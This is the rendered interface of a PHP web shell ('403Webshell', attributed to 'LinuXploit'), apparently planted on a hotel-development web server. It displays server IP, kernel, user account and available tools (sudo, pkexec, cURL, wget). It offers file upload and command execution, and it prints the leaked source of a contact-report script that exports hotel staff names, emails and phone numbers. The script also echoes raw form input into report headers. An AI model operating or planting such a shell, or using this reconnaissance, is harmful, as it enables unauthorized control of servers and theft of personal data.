403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.217.54
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/hotel-dev/public_html/rpt/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/hotel-dev/public_html/rpt/contacts.php
<?php include('mod/_mod_security.php'); ?>
<?php
	$criteria = '';
	$filter = '';
	if (!empty($_POST['cr_date_start']) && is_date($_POST['cr_date_start'])) :
		$criteria .= " AND c.update_date >= " . nzdate($_POST['cr_date_start']) . " ";
		$filter .= '<br> Updated start date: ' . $_POST['cr_date_start'];
	endif;
	if (!empty($_POST['cr_date_end']) && is_date($_POST['cr_date_end'])) :
		$criteria .= " AND c.update_date <= " . nzdatetime($_POST['cr_date_end'] . ' 23:59:59') . " ";
		$filter .= '<br> Updated end date: ' . $_POST['cr_date_end'];
	endif;
	if (!empty($_POST['cr_neighborhood'])) :
		$criteria .= " AND h.neighborhood_id = " . nz($_POST['cr_neighborhood'], '0') . " ";
		$filter .= '<br> Neighborhood: ' . lookup_db_field('neighborhoods', 'neighborhood_id', $_POST['cr_neighborhood'], 'neighborhood_name');
	endif;
	if (!empty($_POST['cr_route'])) :
		$criteria .= " AND h.route = " . $db->quote($_POST['cr_route']) . " ";
		$filter .= '<br> Route: ' . $_POST['cr_route'];
	endif;
	if (!empty($_POST['cr_category'])) :
		$criteria .= " AND h.category = " . $db->quote($_POST['cr_category']) . " ";
		$filter .= '<br> Hotel category: ' . $_POST['cr_category'];
	endif;
	if (!empty($_POST['cr_zip'])) :
		$criteria .= " AND h.zip = " . $db->quote($_POST['cr_zip']) . " ";
		$filter .= '<br> Zip Code: ' . $_POST['cr_zip'];
	endif;
	$sql = "SELECT h.hotel_name, n.neighborhood_name, h.bldg_nbr, h.street, h.city, h.state, h.zip, h.category, h.route, c.*, MAX(v.update_date) AS verify_date, su.user_name AS verifier
				FROM hotels h 
				INNER JOIN contacts c ON (h.hotel_id = c.hotel_id) 
				LEFT JOIN neighborhoods n ON (h.neighborhood_id = n.neighborhood_id) 
				LEFT JOIN verifications v ON (v.hotel_id = h.hotel_id AND v.verification_id = (
						SELECT MAX(v2.verification_id) FROM verifications v2 WHERE v2.hotel_id = h.hotel_id
					)
				)
				LEFT JOIN sys_users su ON (su.user_id = v.update_by)
				WHERE h.status = 1
				$criteria
				GROUP BY h.hotel_name, h.neighborhood_id, c.contact_id
				ORDER BY h.hotel_name, h.hotel_id
	";
	//error_log($sql);
	$result = $db->query($sql) or die('Database Error!');
	$row_count = $result->rowCount();
	if ($row_count <= 0) :
		echo 'No data for report!';
		exit();
	endif;
	
	$rpt = get_report_class($_POST['output_format']);
	$rpt->set_report_title('Contact Report');
	$rpt->report_start();
	
	$rpt->header_start();
	if (!empty($filter)) :
		$rpt->header_row_start();
		$rpt->header_cell_add('Filters: '.$filter, ['colspan'=>'17', 'class'=>'large']);
		$rpt->header_row_end();
	endif;
	$rpt->header_row_start();
	$rpt->header_cell_add('Hotel', ['width'=>'70']);
	$rpt->header_cell_add('Neighborhood', ['width'=>'70']);
	$rpt->header_cell_add('Route', ['width'=>'20']);
	$rpt->header_cell_add('Category', ['width'=>'20']);
	$rpt->header_cell_add('Bldg #', ['width'=>'20']);
	$rpt->header_cell_add('Street', ['width'=>'40']);
	$rpt->header_cell_add('City', ['width'=>'50']);
	$rpt->header_cell_add('State', ['width'=>'20']);
	$rpt->header_cell_add('Zip', ['width'=>'40']);
	$rpt->header_cell_add('First', ['width'=>'70']);
	$rpt->header_cell_add('Last', ['width'=>'70']);
	$rpt->header_cell_add('Title', ['width'=>'70']);
	$rpt->header_cell_add('Email', ['width'=>'70']);
	$rpt->header_cell_add('Phone', ['width'=>'70']);
	$rpt->header_cell_add('Cell Phone', ['width'=>'70']);
	$rpt->header_cell_add('Last Updated', ['width'=>'70']);
	$rpt->header_cell_add('Verifier', ['width'=>'70']);
	$rpt->header_row_end();
	$rpt->header_end();
	
	$rpt->data_start();
	$tot_count = 0;
	while($row = $result->fetch(PDO::FETCH_OBJ)) :
		$rpt->data_row_start();
		$rpt->data_cell_add($row->hotel_name);
		$rpt->data_cell_add($row->neighborhood_name);
		$rpt->data_cell_add($row->route);
		$rpt->data_cell_add($row->category);
		$rpt->data_cell_add($row->bldg_nbr);
		$rpt->data_cell_add($row->street);
		$rpt->data_cell_add($row->city);
		$rpt->data_cell_add($row->state);
		$rpt->data_cell_add($row->zip);
		$rpt->data_cell_add($row->first_name);
		$rpt->data_cell_add($row->last_name);
		$rpt->data_cell_add($row->title);
		$rpt->data_cell_add($row->email);
		$rpt->data_cell_add($row->phone);
		$rpt->data_cell_add($row->cell_phone);
		$rpt->data_cell_add(nzdate_display($row->update_date));
		$rpt->data_cell_add($row->verifier);
		$tot_count += 1;
		$rpt->data_row_end();
	endwhile;
	$rpt->data_row_start();
	$rpt->data_cell_add('Totals', ['colspan'=>17, 'align'=>'center']);
	$rpt->data_row_end();
	$rpt->data_row_start();
	$rpt->data_cell_add('Total contacts', ['colspan'=>3, 'align'=>'right']);
	$rpt->data_cell_add(number_format($tot_count, 0), ['align'=>'right']);
	$rpt->data_cell_add('');
	$rpt->data_row_end();
	$rpt->data_end();
	
	$rpt->report_end();
	$rpt->output_report();

?>

Youez - 2016 - github.com/yon3zu
LinuXploit